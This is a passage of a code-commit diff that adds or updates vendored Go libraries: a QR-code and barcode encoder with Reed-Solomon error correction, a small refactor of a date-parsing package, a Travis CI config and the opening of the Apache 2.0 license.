res.AddBits(int(byteMode), 4)
res.AddBits(len(content), vi.charCountBits(byteMode))
for _, b := range data {
res.AddByte(b)
}
addPaddingAndTerminator(res, vi)
return res, vi, nil
}
+310
View File
@@ -0,0 +1,310 @@
package qr
import "math"
// ErrorCorrectionLevel indicates the amount of "backup data" stored in the QR code
type ErrorCorrectionLevel byte
const (
// L recovers 7% of data
L ErrorCorrectionLevel = iota
// M recovers 15% of data
M
// Q recovers 25% of data
Q
// H recovers 30% of data
H
)
func (ecl ErrorCorrectionLevel) String() string {
switch ecl {
case L:
return "L"
case M:
return "M"
case Q:
return "Q"
case H:
return "H"
}
return "unknown"
}
type encodingMode byte
const (
numericMode encodingMode = 1
alphaNumericMode encodingMode = 2
byteMode encodingMode = 4
kanjiMode encodingMode = 8
)
type versionInfo struct {
Version byte
Level ErrorCorrectionLevel
ErrorCorrectionCodewordsPerBlock byte
NumberOfBlocksInGroup1 byte
DataCodeWordsPerBlockInGroup1 byte
NumberOfBlocksInGroup2 byte
DataCodeWordsPerBlockInGroup2 byte
}
var versionInfos = []*versionInfo{
&versionInfo{1, L, 7, 1, 19, 0, 0},
&versionInfo{1, M, 10, 1, 16, 0, 0},
&versionInfo{1, Q, 13, 1, 13, 0, 0},
&versionInfo{1, H, 17, 1, 9, 0, 0},
&versionInfo{2, L, 10, 1, 34, 0, 0},
&versionInfo{2, M, 16, 1, 28, 0, 0},
&versionInfo{2, Q, 22, 1, 22, 0, 0},
&versionInfo{2, H, 28, 1, 16, 0, 0},
&versionInfo{3, L, 15, 1, 55, 0, 0},
&versionInfo{3, M, 26, 1, 44, 0, 0},
&versionInfo{3, Q, 18, 2, 17, 0, 0},
&versionInfo{3, H, 22, 2, 13, 0, 0},
&versionInfo{4, L, 20, 1, 80, 0, 0},
&versionInfo{4, M, 18, 2, 32, 0, 0},
&versionInfo{4, Q, 26, 2, 24, 0, 0},
&versionInfo{4, H, 16, 4, 9, 0, 0},
&versionInfo{5, L, 26, 1, 108, 0, 0},
&versionInfo{5, M, 24, 2, 43, 0, 0},
&versionInfo{5, Q, 18, 2, 15, 2, 16},
&versionInfo{5, H, 22, 2, 11, 2, 12},
&versionInfo{6, L, 18, 2, 68, 0, 0},
&versionInfo{6, M, 16, 4, 27, 0, 0},
&versionInfo{6, Q, 24, 4, 19, 0, 0},
&versionInfo{6, H, 28, 4, 15, 0, 0},
&versionInfo{7, L, 20, 2, 78, 0, 0},
&versionInfo{7, M, 18, 4, 31, 0, 0},
&versionInfo{7, Q, 18, 2, 14, 4, 15},
&versionInfo{7, H, 26, 4, 13, 1, 14},
&versionInfo{8, L, 24, 2, 97, 0, 0},
&versionInfo{8, M, 22, 2, 38, 2, 39},
&versionInfo{8, Q, 22, 4, 18, 2, 19},
&versionInfo{8, H, 26, 4, 14, 2, 15},
&versionInfo{9, L, 30, 2, 116, 0, 0},
&versionInfo{9, M, 22, 3, 36, 2, 37},
&versionInfo{9, Q, 20, 4, 16, 4, 17},
&versionInfo{9, H, 24, 4, 12, 4, 13},
&versionInfo{10, L, 18, 2, 68, 2, 69},
&versionInfo{10, M, 26, 4, 43, 1, 44},
&versionInfo{10, Q, 24, 6, 19, 2, 20},
&versionInfo{10, H, 28, 6, 15, 2, 16},
&versionInfo{11, L, 20, 4, 81, 0, 0},
&versionInfo{11, M, 30, 1, 50, 4, 51},
&versionInfo{11, Q, 28, 4, 22, 4, 23},
&versionInfo{11, H, 24, 3, 12, 8, 13},
&versionInfo{12, L, 24, 2, 92, 2, 93},
&versionInfo{12, M, 22, 6, 36, 2, 37},
&versionInfo{12, Q, 26, 4, 20, 6, 21},
&versionInfo{12, H, 28, 7, 14, 4, 15},
&versionInfo{13, L, 26, 4, 107, 0, 0},
&versionInfo{13, M, 22, 8, 37, 1, 38},
&versionInfo{13, Q, 24, 8, 20, 4, 21},
&versionInfo{13, H, 22, 12, 11, 4, 12},
&versionInfo{14, L, 30, 3, 115, 1, 116},
&versionInfo{14, M, 24, 4, 40, 5, 41},
&versionInfo{14, Q, 20, 11, 16, 5, 17},
&versionInfo{14, H, 24, 11, 12, 5, 13},
&versionInfo{15, L, 22, 5, 87, 1, 88},
&versionInfo{15, M, 24, 5, 41, 5, 42},
&versionInfo{15, Q, 30, 5, 24, 7, 25},
&versionInfo{15, H, 24, 11, 12, 7, 13},
&versionInfo{16, L, 24, 5, 98, 1, 99},
&versionInfo{16, M, 28, 7, 45, 3, 46},
&versionInfo{16, Q, 24, 15, 19, 2, 20},
&versionInfo{16, H, 30, 3, 15, 13, 16},
&versionInfo{17, L, 28, 1, 107, 5, 108},
&versionInfo{17, M, 28, 10, 46, 1, 47},
&versionInfo{17, Q, 28, 1, 22, 15, 23},
&versionInfo{17, H, 28, 2, 14, 17, 15},
&versionInfo{18, L, 30, 5, 120, 1, 121},
&versionInfo{18, M, 26, 9, 43, 4, 44},
&versionInfo{18, Q, 28, 17, 22, 1, 23},
&versionInfo{18, H, 28, 2, 14, 19, 15},
&versionInfo{19, L, 28, 3, 113, 4, 114},
&versionInfo{19, M, 26, 3, 44, 11, 45},
&versionInfo{19, Q, 26, 17, 21, 4, 22},
&versionInfo{19, H, 26, 9, 13, 16, 14},
&versionInfo{20, L, 28, 3, 107, 5, 108},
&versionInfo{20, M, 26, 3, 41, 13, 42},
&versionInfo{20, Q, 30, 15, 24, 5, 25},
&versionInfo{20, H, 28, 15, 15, 10, 16},
&versionInfo{21, L, 28, 4, 116, 4, 117},
&versionInfo{21, M, 26, 17, 42, 0, 0},
&versionInfo{21, Q, 28, 17, 22, 6, 23},
&versionInfo{21, H, 30, 19, 16, 6, 17},
&versionInfo{22, L, 28, 2, 111, 7, 112},
&versionInfo{22, M, 28, 17, 46, 0, 0},
&versionInfo{22, Q, 30, 7, 24, 16, 25},
&versionInfo{22, H, 24, 34, 13, 0, 0},
&versionInfo{23, L, 30, 4, 121, 5, 122},
&versionInfo{23, M, 28, 4, 47, 14, 48},
&versionInfo{23, Q, 30, 11, 24, 14, 25},
&versionInfo{23, H, 30, 16, 15, 14, 16},
&versionInfo{24, L, 30, 6, 117, 4, 118},
&versionInfo{24, M, 28, 6, 45, 14, 46},
&versionInfo{24, Q, 30, 11, 24, 16, 25},
&versionInfo{24, H, 30, 30, 16, 2, 17},
&versionInfo{25, L, 26, 8, 106, 4, 107},
&versionInfo{25, M, 28, 8, 47, 13, 48},
&versionInfo{25, Q, 30, 7, 24, 22, 25},
&versionInfo{25, H, 30, 22, 15, 13, 16},
&versionInfo{26, L, 28, 10, 114, 2, 115},
&versionInfo{26, M, 28, 19, 46, 4, 47},
&versionInfo{26, Q, 28, 28, 22, 6, 23},
&versionInfo{26, H, 30, 33, 16, 4, 17},
&versionInfo{27, L, 30, 8, 122, 4, 123},
&versionInfo{27, M, 28, 22, 45, 3, 46},
&versionInfo{27, Q, 30, 8, 23, 26, 24},
&versionInfo{27, H, 30, 12, 15, 28, 16},
&versionInfo{28, L, 30, 3, 117, 10, 118},
&versionInfo{28, M, 28, 3, 45, 23, 46},
&versionInfo{28, Q, 30, 4, 24, 31, 25},
&versionInfo{28, H, 30, 11, 15, 31, 16},
&versionInfo{29, L, 30, 7, 116, 7, 117},
&versionInfo{29, M, 28, 21, 45, 7, 46},
&versionInfo{29, Q, 30, 1, 23, 37, 24},
&versionInfo{29, H, 30, 19, 15, 26, 16},
&versionInfo{30, L, 30, 5, 115, 10, 116},
&versionInfo{30, M, 28, 19, 47, 10, 48},
&versionInfo{30, Q, 30, 15, 24, 25, 25},
&versionInfo{30, H, 30, 23, 15, 25, 16},
&versionInfo{31, L, 30, 13, 115, 3, 116},
&versionInfo{31, M, 28, 2, 46, 29, 47},
&versionInfo{31, Q, 30, 42, 24, 1, 25},
&versionInfo{31, H, 30, 23, 15, 28, 16},
&versionInfo{32, L, 30, 17, 115, 0, 0},
&versionInfo{32, M, 28, 10, 46, 23, 47},
&versionInfo{32, Q, 30, 10, 24, 35, 25},
&versionInfo{32, H, 30, 19, 15, 35, 16},
&versionInfo{33, L, 30, 17, 115, 1, 116},
&versionInfo{33, M, 28, 14, 46, 21, 47},
&versionInfo{33, Q, 30, 29, 24, 19, 25},
&versionInfo{33, H, 30, 11, 15, 46, 16},
&versionInfo{34, L, 30, 13, 115, 6, 116},
&versionInfo{34, M, 28, 14, 46, 23, 47},
&versionInfo{34, Q, 30, 44, 24, 7, 25},
&versionInfo{34, H, 30, 59, 16, 1, 17},
&versionInfo{35, L, 30, 12, 121, 7, 122},
&versionInfo{35, M, 28, 12, 47, 26, 48},
&versionInfo{35, Q, 30, 39, 24, 14, 25},
&versionInfo{35, H, 30, 22, 15, 41, 16},
&versionInfo{36, L, 30, 6, 121, 14, 122},
&versionInfo{36, M, 28, 6, 47, 34, 48},
&versionInfo{36, Q, 30, 46, 24, 10, 25},
&versionInfo{36, H, 30, 2, 15, 64, 16},
&versionInfo{37, L, 30, 17, 122, 4, 123},
&versionInfo{37, M, 28, 29, 46, 14, 47},
&versionInfo{37, Q, 30, 49, 24, 10, 25},
&versionInfo{37, H, 30, 24, 15, 46, 16},
&versionInfo{38, L, 30, 4, 122, 18, 123},
&versionInfo{38, M, 28, 13, 46, 32, 47},
&versionInfo{38, Q, 30, 48, 24, 14, 25},
&versionInfo{38, H, 30, 42, 15, 32, 16},
&versionInfo{39, L, 30, 20, 117, 4, 118},
&versionInfo{39, M, 28, 40, 47, 7, 48},
&versionInfo{39, Q, 30, 43, 24, 22, 25},
&versionInfo{39, H, 30, 10, 15, 67, 16},
&versionInfo{40, L, 30, 19, 118, 6, 119},
&versionInfo{40, M, 28, 18, 47, 31, 48},
&versionInfo{40, Q, 30, 34, 24, 34, 25},
&versionInfo{40, H, 30, 20, 15, 61, 16},
}
func (vi *versionInfo) totalDataBytes() int {
g1Data := int(vi.NumberOfBlocksInGroup1) * int(vi.DataCodeWordsPerBlockInGroup1)
g2Data := int(vi.NumberOfBlocksInGroup2) * int(vi.DataCodeWordsPerBlockInGroup2)
return (g1Data + g2Data)
}
func (vi *versionInfo) charCountBits(m encodingMode) byte {
switch m {
case numericMode:
if vi.Version < 10 {
return 10
} else if vi.Version < 27 {
return 12
}
return 14
case alphaNumericMode:
if vi.Version < 10 {
return 9
} else if vi.Version < 27 {
return 11
}
return 13
case byteMode:
if vi.Version < 10 {
return 8
}
return 16
case kanjiMode:
if vi.Version < 10 {
return 8
} else if vi.Version < 27 {
return 10
}
return 12
default:
return 0
}
}
func (vi *versionInfo) modulWidth() int {
return ((int(vi.Version) - 1) * 4) + 21
}
func (vi *versionInfo) alignmentPatternPlacements() []int {
if vi.Version == 1 {
return make([]int, 0)
}
first := 6
last := vi.modulWidth() - 7
space := float64(last - first)
count := int(math.Ceil(space/28)) + 1
result := make([]int, count)
result[0] = first
result[len(result)-1] = last
if count > 2 {
step := int(math.Ceil(float64(last-first) / float64(count-1)))
if step%2 == 1 {
frac := float64(last-first) / float64(count-1)
_, x := math.Modf(frac)
if x >= 0.5 {
frac = math.Ceil(frac)
} else {
frac = math.Floor(frac)
}
if int(frac)%2 == 0 {
step--
} else {
step++
}
}
for i := 1; i <= count-2; i++ {
result[i] = last - (step * (count - 1 - i))
}
}
return result
}
func findSmallestVersionInfo(ecl ErrorCorrectionLevel, mode encodingMode, dataBits int) *versionInfo {
dataBits = dataBits + 4 // mode indicator
for _, vi := range versionInfos {
if vi.Level == ecl {
if (vi.totalDataBytes() * 8) >= (dataBits + int(vi.charCountBits(mode))) {
return vi
}
}
}
return nil
}
+134
View File
@@ -0,0 +1,134 @@
package barcode
import (
"errors"
"fmt"
"image"
"image/color"
"math"
)
type wrapFunc func(x, y int) color.Color
type scaledBarcode struct {
wrapped Barcode
wrapperFunc wrapFunc
rect image.Rectangle
}
type intCSscaledBC struct {
scaledBarcode
}
func (bc *scaledBarcode) Content() string {
return bc.wrapped.Content()
}
func (bc *scaledBarcode) Metadata() Metadata {
return bc.wrapped.Metadata()
}
func (bc *scaledBarcode) ColorModel() color.Model {
return bc.wrapped.ColorModel()
}
func (bc *scaledBarcode) Bounds() image.Rectangle {
return bc.rect
}
func (bc *scaledBarcode) At(x, y int) color.Color {
return bc.wrapperFunc(x, y)
}
func (bc *intCSscaledBC) CheckSum() int {
if cs, ok := bc.wrapped.(BarcodeIntCS); ok {
return cs.CheckSum()
}
return 0
}
// Scale returns a resized barcode with the given width and height.
func Scale(bc Barcode, width, height int) (Barcode, error) {
switch bc.Metadata().Dimensions {
case 1:
return scale1DCode(bc, width, height)
case 2:
return scale2DCode(bc, width, height)
}
return nil, errors.New("unsupported barcode format")
}
func newScaledBC(wrapped Barcode, wrapperFunc wrapFunc, rect image.Rectangle) Barcode {
result := &scaledBarcode{
wrapped: wrapped,
wrapperFunc: wrapperFunc,
rect: rect,
}
if _, ok := wrapped.(BarcodeIntCS); ok {
return &intCSscaledBC{*result}
}
return result
}
func scale2DCode(bc Barcode, width, height int) (Barcode, error) {
orgBounds := bc.Bounds()
orgWidth := orgBounds.Max.X - orgBounds.Min.X
orgHeight := orgBounds.Max.Y - orgBounds.Min.Y
factor := int(math.Min(float64(width)/float64(orgWidth), float64(height)/float64(orgHeight)))
if factor <= 0 {
return nil, fmt.Errorf("can not scale barcode to an image smaller than %dx%d", orgWidth, orgHeight)
}
offsetX := (width - (orgWidth * factor)) / 2
offsetY := (height - (orgHeight * factor)) / 2
wrap := func(x, y int) color.Color {
if x < offsetX || y < offsetY {
return color.White
}
x = (x - offsetX) / factor
y = (y - offsetY) / factor
if x >= orgWidth || y >= orgHeight {
return color.White
}
return bc.At(x, y)
}
return newScaledBC(
bc,
wrap,
image.Rect(0, 0, width, height),
), nil
}
func scale1DCode(bc Barcode, width, height int) (Barcode, error) {
orgBounds := bc.Bounds()
orgWidth := orgBounds.Max.X - orgBounds.Min.X
factor := int(float64(width) / float64(orgWidth))
if factor <= 0 {
return nil, fmt.Errorf("can not scale barcode to an image smaller than %dx1", orgWidth)
}
offsetX := (width - (orgWidth * factor)) / 2
wrap := func(x, y int) color.Color {
if x < offsetX {
return color.White
}
x = (x - offsetX) / factor
if x >= orgWidth {
return color.White
}
return bc.At(x, 0)
}
return newScaledBC(
bc,
wrap,
image.Rect(0, 0, width, height),
), nil
}
+57
View File
@@ -0,0 +1,57 @@
// Package utils contain some utilities which are needed to create barcodes
package utils
import (
"image"
"image/color"
"github.com/boombuler/barcode"
)
type base1DCode struct {
*BitList
kind string
content string
}
type base1DCodeIntCS struct {
base1DCode
checksum int
}
func (c *base1DCode) Content() string {
return c.content
}
func (c *base1DCode) Metadata() barcode.Metadata {
return barcode.Metadata{c.kind, 1}
}
func (c *base1DCode) ColorModel() color.Model {
return color.Gray16Model
}
func (c *base1DCode) Bounds() image.Rectangle {
return image.Rect(0, 0, c.Len(), 1)
}
func (c *base1DCode) At(x, y int) color.Color {
if c.GetBit(x) {
return color.Black
}
return color.White
}
func (c *base1DCodeIntCS) CheckSum() int {
return c.checksum
}
// New1DCodeIntCheckSum creates a new 1D barcode where the bars are represented by the bits in the bars BitList
func New1DCodeIntCheckSum(codeKind, content string, bars *BitList, checksum int) barcode.BarcodeIntCS {
return &base1DCodeIntCS{base1DCode{bars, codeKind, content}, checksum}
}
// New1DCode creates a new 1D barcode where the bars are represented by the bits in the bars BitList
func New1DCode(codeKind, content string, bars *BitList) barcode.Barcode {
return &base1DCode{bars, codeKind, content}
}
+119
View File
@@ -0,0 +1,119 @@
package utils
// BitList is a list that contains bits
type BitList struct {
count int
data []int32
}
// NewBitList returns a new BitList with the given length
// all bits are initialize with false
func NewBitList(capacity int) *BitList {
bl := new(BitList)
bl.count = capacity
x := 0
if capacity%32 != 0 {
x = 1
}
bl.data = make([]int32, capacity/32+x)
return bl
}
// Len returns the number of contained bits
func (bl *BitList) Len() int {
return bl.count
}
func (bl *BitList) grow() {
growBy := len(bl.data)
if growBy < 128 {
growBy = 128
} else if growBy >= 1024 {
growBy = 1024
}
nd := make([]int32, len(bl.data)+growBy)
copy(nd, bl.data)
bl.data = nd
}
// AddBit appends the given bits to the end of the list
func (bl *BitList) AddBit(bits ...bool) {
for _, bit := range bits {
itmIndex := bl.count / 32
for itmIndex >= len(bl.data) {
bl.grow()
}
bl.SetBit(bl.count, bit)
bl.count++
}
}
// SetBit sets the bit at the given index to the given value
func (bl *BitList) SetBit(index int, value bool) {
itmIndex := index / 32
itmBitShift := 31 - (index % 32)
if value {
bl.data[itmIndex] = bl.data[itmIndex] | 1<<uint(itmBitShift)
} else {
bl.data[itmIndex] = bl.data[itmIndex] & ^(1 << uint(itmBitShift))
}
}
// GetBit returns the bit at the given index
func (bl *BitList) GetBit(index int) bool {
itmIndex := index / 32
itmBitShift := 31 - (index % 32)
return ((bl.data[itmIndex] >> uint(itmBitShift)) & 1) == 1
}
// AddByte appends all 8 bits of the given byte to the end of the list
func (bl *BitList) AddByte(b byte) {
for i := 7; i >= 0; i-- {
bl.AddBit(((b >> uint(i)) & 1) == 1)
}
}
// AddBits appends the last (LSB) 'count' bits of 'b' the the end of the list
func (bl *BitList) AddBits(b int, count byte) {
for i := int(count) - 1; i >= 0; i-- {
bl.AddBit(((b >> uint(i)) & 1) == 1)
}
}
// GetBytes returns all bits of the BitList as a []byte
func (bl *BitList) GetBytes() []byte {
len := bl.count >> 3
if (bl.count % 8) != 0 {
len++
}
result := make([]byte, len)
for i := 0; i < len; i++ {
shift := (3 - (i % 4)) * 8
result[i] = (byte)((bl.data[i/4] >> uint(shift)) & 0xFF)
}
return result
}
// IterateBytes iterates through all bytes contained in the BitList
func (bl *BitList) IterateBytes() <-chan byte {
res := make(chan byte)
go func() {
c := bl.count
shift := 24
i := 0
for c > 0 {
res <- byte((bl.data[i] >> uint(shift)) & 0xFF)
shift -= 8
if shift < 0 {
shift = 24
i++
}
c -= 8
}
close(res)
}()
return res
}
+65
View File
@@ -0,0 +1,65 @@
package utils
// GaloisField encapsulates galois field arithmetics
type GaloisField struct {
Size int
Base int
ALogTbl []int
LogTbl []int
}
// NewGaloisField creates a new galois field
func NewGaloisField(pp, fieldSize, b int) *GaloisField {
result := new(GaloisField)
result.Size = fieldSize
result.Base = b
result.ALogTbl = make([]int, fieldSize)
result.LogTbl = make([]int, fieldSize)
x := 1
for i := 0; i < fieldSize; i++ {
result.ALogTbl[i] = x
x = x * 2
if x >= fieldSize {
x = (x ^ pp) & (fieldSize - 1)
}
}
for i := 0; i < fieldSize; i++ {
result.LogTbl[result.ALogTbl[i]] = int(i)
}
return result
}
func (gf *GaloisField) Zero() *GFPoly {
return NewGFPoly(gf, []int{0})
}
// AddOrSub add or substract two numbers
func (gf *GaloisField) AddOrSub(a, b int) int {
return a ^ b
}
// Multiply multiplys two numbers
func (gf *GaloisField) Multiply(a, b int) int {
if a == 0 || b == 0 {
return 0
}
return gf.ALogTbl[(gf.LogTbl[a]+gf.LogTbl[b])%(gf.Size-1)]
}
// Divide divides two numbers
func (gf *GaloisField) Divide(a, b int) int {
if b == 0 {
panic("divide by zero")
} else if a == 0 {
return 0
}
return gf.ALogTbl[(gf.LogTbl[a]-gf.LogTbl[b])%(gf.Size-1)]
}
func (gf *GaloisField) Invers(num int) int {
return gf.ALogTbl[(gf.Size-1)-gf.LogTbl[num]]
}
+103
View File
@@ -0,0 +1,103 @@
package utils
type GFPoly struct {
gf *GaloisField
Coefficients []int
}
func (gp *GFPoly) Degree() int {
return len(gp.Coefficients) - 1
}
func (gp *GFPoly) Zero() bool {
return gp.Coefficients[0] == 0
}
// GetCoefficient returns the coefficient of x ^ degree
func (gp *GFPoly) GetCoefficient(degree int) int {
return gp.Coefficients[gp.Degree()-degree]
}
func (gp *GFPoly) AddOrSubstract(other *GFPoly) *GFPoly {
if gp.Zero() {
return other
} else if other.Zero() {
return gp
}
smallCoeff := gp.Coefficients
largeCoeff := other.Coefficients
if len(smallCoeff) > len(largeCoeff) {
largeCoeff, smallCoeff = smallCoeff, largeCoeff
}
sumDiff := make([]int, len(largeCoeff))
lenDiff := len(largeCoeff) - len(smallCoeff)
copy(sumDiff, largeCoeff[:lenDiff])
for i := lenDiff; i < len(largeCoeff); i++ {
sumDiff[i] = int(gp.gf.AddOrSub(int(smallCoeff[i-lenDiff]), int(largeCoeff[i])))
}
return NewGFPoly(gp.gf, sumDiff)
}
func (gp *GFPoly) MultByMonominal(degree int, coeff int) *GFPoly {
if coeff == 0 {
return gp.gf.Zero()
}
size := len(gp.Coefficients)
result := make([]int, size+degree)
for i := 0; i < size; i++ {
result[i] = int(gp.gf.Multiply(int(gp.Coefficients[i]), int(coeff)))
}
return NewGFPoly(gp.gf, result)
}
func (gp *GFPoly) Multiply(other *GFPoly) *GFPoly {
if gp.Zero() || other.Zero() {
return gp.gf.Zero()
}
aCoeff := gp.Coefficients
aLen := len(aCoeff)
bCoeff := other.Coefficients
bLen := len(bCoeff)
product := make([]int, aLen+bLen-1)
for i := 0; i < aLen; i++ {
ac := int(aCoeff[i])
for j := 0; j < bLen; j++ {
bc := int(bCoeff[j])
product[i+j] = int(gp.gf.AddOrSub(int(product[i+j]), gp.gf.Multiply(ac, bc)))
}
}
return NewGFPoly(gp.gf, product)
}
func (gp *GFPoly) Divide(other *GFPoly) (quotient *GFPoly, remainder *GFPoly) {
quotient = gp.gf.Zero()
remainder = gp
fld := gp.gf
denomLeadTerm := other.GetCoefficient(other.Degree())
inversDenomLeadTerm := fld.Invers(int(denomLeadTerm))
for remainder.Degree() >= other.Degree() && !remainder.Zero() {
degreeDiff := remainder.Degree() - other.Degree()
scale := int(fld.Multiply(int(remainder.GetCoefficient(remainder.Degree())), inversDenomLeadTerm))
term := other.MultByMonominal(degreeDiff, scale)
itQuot := NewMonominalPoly(fld, degreeDiff, scale)
quotient = quotient.AddOrSubstract(itQuot)
remainder = remainder.AddOrSubstract(term)
}
return
}
func NewMonominalPoly(field *GaloisField, degree int, coeff int) *GFPoly {
if coeff == 0 {
return field.Zero()
}
result := make([]int, degree+1)
result[0] = coeff
return NewGFPoly(field, result)
}
func NewGFPoly(field *GaloisField, coefficients []int) *GFPoly {
for len(coefficients) > 1 && coefficients[0] == 0 {
coefficients = coefficients[1:]
}
return &GFPoly{field, coefficients}
}
+44
View File
@@ -0,0 +1,44 @@
package utils
import (
"sync"
)
type ReedSolomonEncoder struct {
gf *GaloisField
polynomes []*GFPoly
m *sync.Mutex
}
func NewReedSolomonEncoder(gf *GaloisField) *ReedSolomonEncoder {
return &ReedSolomonEncoder{
gf, []*GFPoly{NewGFPoly(gf, []int{1})}, new(sync.Mutex),
}
}
func (rs *ReedSolomonEncoder) getPolynomial(degree int) *GFPoly {
rs.m.Lock()
defer rs.m.Unlock()
if degree >= len(rs.polynomes) {
last := rs.polynomes[len(rs.polynomes)-1]
for d := len(rs.polynomes); d <= degree; d++ {
next := last.Multiply(NewGFPoly(rs.gf, []int{1, rs.gf.ALogTbl[d-1+rs.gf.Base]}))
rs.polynomes = append(rs.polynomes, next)
last = next
}
}
return rs.polynomes[degree]
}
func (rs *ReedSolomonEncoder) Encode(data []int, eccCount int) []int {
generator := rs.getPolynomial(eccCount)
info := NewGFPoly(rs.gf, data)
info = info.MultByMonominal(eccCount, 1)
_, remainder := info.Divide(generator)
result := make([]int, eccCount)
numZero := int(eccCount) - len(remainder.Coefficients)
copy(result[numZero:], remainder.Coefficients)
return result
}
+19
View File
@@ -0,0 +1,19 @@
package utils
// RuneToInt converts a rune between '0' and '9' to an integer between 0 and 9
// If the rune is outside of this range -1 is returned.
func RuneToInt(r rune) int {
if r >= '0' && r <= '9' {
return int(r - '0')
}
return -1
}
// IntToRune converts a digit 0 - 9 to the rune '0' - '9'. If the given int is outside
// of this range 'F' is returned!
func IntToRune(i int) rune {
if i >= 0 && i <= 9 {
return rune(i + '0')
}
return 'F'
}
-3
View File
@@ -27,9 +27,6 @@ now.BeginningOfMonth() // 2013-11-01 00:00:00 Fri
now.BeginningOfQuarter() // 2013-10-01 00:00:00 Tue
now.BeginningOfYear() // 2013-01-01 00:00:00 Tue
now.WeekStartDay = time.Monday // Set Monday as first day, default is Sunday
now.BeginningOfWeek() // 2013-11-18 00:00:00 Mon
now.EndOfMinute() // 2013-11-18 17:51:59.999999999 Mon
now.EndOfHour() // 2013-11-18 17:59:59.999999999 Mon
now.EndOfDay() // 2013-11-18 23:59:59.999999999 Mon
+1 -1
View File
@@ -19,7 +19,7 @@ var TimeFormats = []string{
"2006", "2006-1", "2006-1-2", "2006-1-2 15", "2006-1-2 15:4", "2006-1-2 15:4:5", "1-2",
"15:4:5", "15:4", "15",
"15:4:5 Jan 2, 2006 MST", "2006-01-02 15:04:05.999999999 -0700 MST", "2006-01-02T15:04:05-07:00",
"2006.1.2", "2006.1.2 15:04:05", "2006.01.02", "2006.01.02 15:04:05",
"2006.1.2", "2006.1.2 15:04:05", "2006.01.02", "2006.01.02 15:04:05", "2006.01.02 15:04:05.999999999",
"1/2/2006", "1/2/2006 15:4:5", "2006/01/02", "2006/01/02 15:04:05",
time.ANSIC, time.UnixDate, time.RubyDate, time.RFC822, time.RFC822Z, time.RFC850,
time.RFC1123, time.RFC1123Z, time.RFC3339, time.RFC3339Nano,
+3 -4
View File
@@ -152,9 +152,9 @@ func (now *Now) Parse(strs ...string) (t time.Time, err error) {
var (
setCurrentTime bool
parseTime []int
currentTime = []int{now.Nanosecond(), now.Second(), now.Minute(), now.Hour(), now.Day(), int(now.Month()), now.Year()}
currentLocation = now.Location()
onlyTimeInStr = true
currentTime = formatTimeToList(now.Time)
)
for _, str := range strs {
@@ -162,8 +162,7 @@ func (now *Now) Parse(strs ...string) (t time.Time, err error) {
onlyTimeInStr = hasTimeInStr && onlyTimeInStr && onlyTimeRegexp.MatchString(str)
if t, err = now.parseWithFormat(str, currentLocation); err == nil {
location := t.Location()
parseTime = []int{t.Nanosecond(), t.Second(), t.Minute(), t.Hour(), t.Day(), int(t.Month()), t.Year()}
parseTime = formatTimeToList(t)
for i, v := range parseTime {
// Don't reset hour, minute, second if current time str including time
@@ -190,7 +189,7 @@ func (now *Now) Parse(strs ...string) (t time.Time, err error) {
}
t = time.Date(parseTime[6], time.Month(parseTime[5]), parseTime[4], parseTime[3], parseTime[2], parseTime[1], parseTime[0], location)
currentTime = []int{t.Nanosecond(), t.Second(), t.Minute(), t.Hour(), t.Day(), int(t.Month()), t.Year()}
currentTime = formatTimeToList(t)
}
}
return
+9
View File
@@ -0,0 +1,9 @@
package now
import "time"
func formatTimeToList(t time.Time) []int {
hour, min, sec := t.Clock()
year, month, day := t.Date()
return []int{t.Nanosecond(), sec, min, hour, day, int(month), year}
}
+10
View File
@@ -0,0 +1,10 @@
arch:
- amd64
- ppc64le
language: go
env:
- GO111MODULE=on
go:
- "1.15"
+202
View File
@@ -0,0 +1,202 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
